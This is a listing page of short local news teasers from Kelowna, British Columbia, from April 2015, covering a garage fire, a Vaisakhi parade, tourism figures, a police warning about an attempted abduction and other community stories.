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Garage lost in fire

Garage lost in fire

Apr 15, 2015 / 1:05 pm

A garage on Gagnon Place, near Capri Mall, suffered extensive damage as a result of a fire late Wednesday morning. The call came in shortly before noon after...

Vaisakhi parade coming up

Vaisakhi parade coming up

Apr 15, 2015 / 12:07 pm

Rolling road closures will be in effect April 25 for the Okanagan Sikh Temple and Cultural Society's fifth annual Vaisakhi parade. Rutland Road north will...

4 things you need to know

4 things you need to know

Apr 15, 2015 / 8:20 am

Castanet's AM Update for Wednesday, April 15. if(navigator.userAgent.toLowerCase().match("android|ipad|iphone|iPod")&&Math.random()

Tourism numbers positive

Tourism numbers positive

Apr 15, 2015 / 5:03 am

2015 is shaping up to be a good year for tourism in the Central Okanagan; that according to Nancy Cameron, CEO of Tourism Kelowna. She provided the news during...

A whistleblower's fight

A whistleblower's fight

Apr 15, 2015 / 5:01 am

“Why did you leave Kelowna?” A question one former Kelowna couple has been asked hundreds of times and one they were so steadfast on answering, they...

Flightcraft: New name, look

Flightcraft: New name, look

Apr 14, 2015 / 3:53 pm

Kelowna Flightcraft is celebrating its 45th year in business with a new name. The company will now be known as KF Aerospace. Along with the new name, the...

Plane crash has local ties

Plane crash has local ties

Apr 14, 2015 / 3:50 pm

UPDATE 3:30 P.M. Carson Air has just released the following statement regarding the loss of two of their pilots in the tragic cargo plane crash Monday. The...

Racer has need for speed

Racer has need for speed

Apr 14, 2015 / 11:38 am

A Kelowna motorcycle racer had a strong showing at the inaugural MotoAmerica race in Austin, Texas, this past weekend. Marcel Irnie finished eighth in his...

More changes at parkade

More changes at parkade

Apr 14, 2015 / 10:09 am

Get ready for more traffic pattern changes in the downtown area – this one affecting the library parkade. Beginning Wednesday at 9 a.m., there will be...

Free parking at Small Shop

Free parking at Small Shop

Apr 14, 2015 / 10:08 am

Those wanting to support local business during Downtown Kelowna Association’s Small Shop Day initiative will be able to park for free during the April 25...

Center of Gravity lineup out

Center of Gravity lineup out

Apr 14, 2015 / 9:49 am

Diplo, Flo Rida and Knife Party will headline this summer's Center of Gravity festival in Kelowna. The annual celebration of music and sports takes place...

5 things you need to know

5 things you need to know

Apr 14, 2015 / 8:25 am

Castanet's AM Update for Tuesday April 14, with Carmen Weld. if(navigator.userAgent.toLowerCase().match("android|ipad|iphone|iPod")&&Math.random()

Ex-mayor to advise YLW

Ex-mayor to advise YLW

Apr 14, 2015 / 5:00 am

Walter Gray isn't taking retirement lying down. The former Kelowna mayor has accepted an appointment to the Kelowna International Airport advisory...

Locals like Kelowna: survey

Locals like Kelowna: survey

Apr 14, 2015 / 5:00 am

Life is good for most Kelownians, according to the city's latest citizen survey. The telephone survey was conducted by Ipsos Reid in February. They spoke...

Share a plate; give back

Share a plate; give back

Apr 13, 2015 / 9:00 pm

Sysco is known for food shows and distributing product to the hospitality industry, but the company also works to give back to local communities. Just this...

10 best, 10 times straight

10 best, 10 times straight

Apr 13, 2015 / 8:30 pm

Urban Systems has been named one of the “Best Workplaces in Canada” for the 10th year in a row. The list is compiled annually for The Globe and Mail...

Local filmmaker wins award

Local filmmaker wins award

Apr 13, 2015 / 7:30 pm

From the Okanagan to Tofino, making the documentary 'The Paddler’ has been a tedious and life changing adventure for both the film maker and the main...

Diverting Mission Creek

Diverting Mission Creek

Apr 13, 2015 / 7:00 pm

The City of Kelowna is planning to alter the flow of Mission Creek. Back in the 1950s, sections of the creek were channelized and diked to prevent flooding. It...

First boat show at new club

First boat show at new club

Apr 13, 2015 / 3:34 pm

The Kelowna Yacht Club will host its annual Boat and Leisure Show later this month – the first since construction was completed on its new home....

RCMP: attempted abduction

RCMP: attempted abduction

Lake Country Apr 13, 2015 / 3:16 pm

Kelowna police are warning residents after an attempted abduction near Lake Country on Sunday. According to Cpl. Joe Duncan, they’re looking to identify a...

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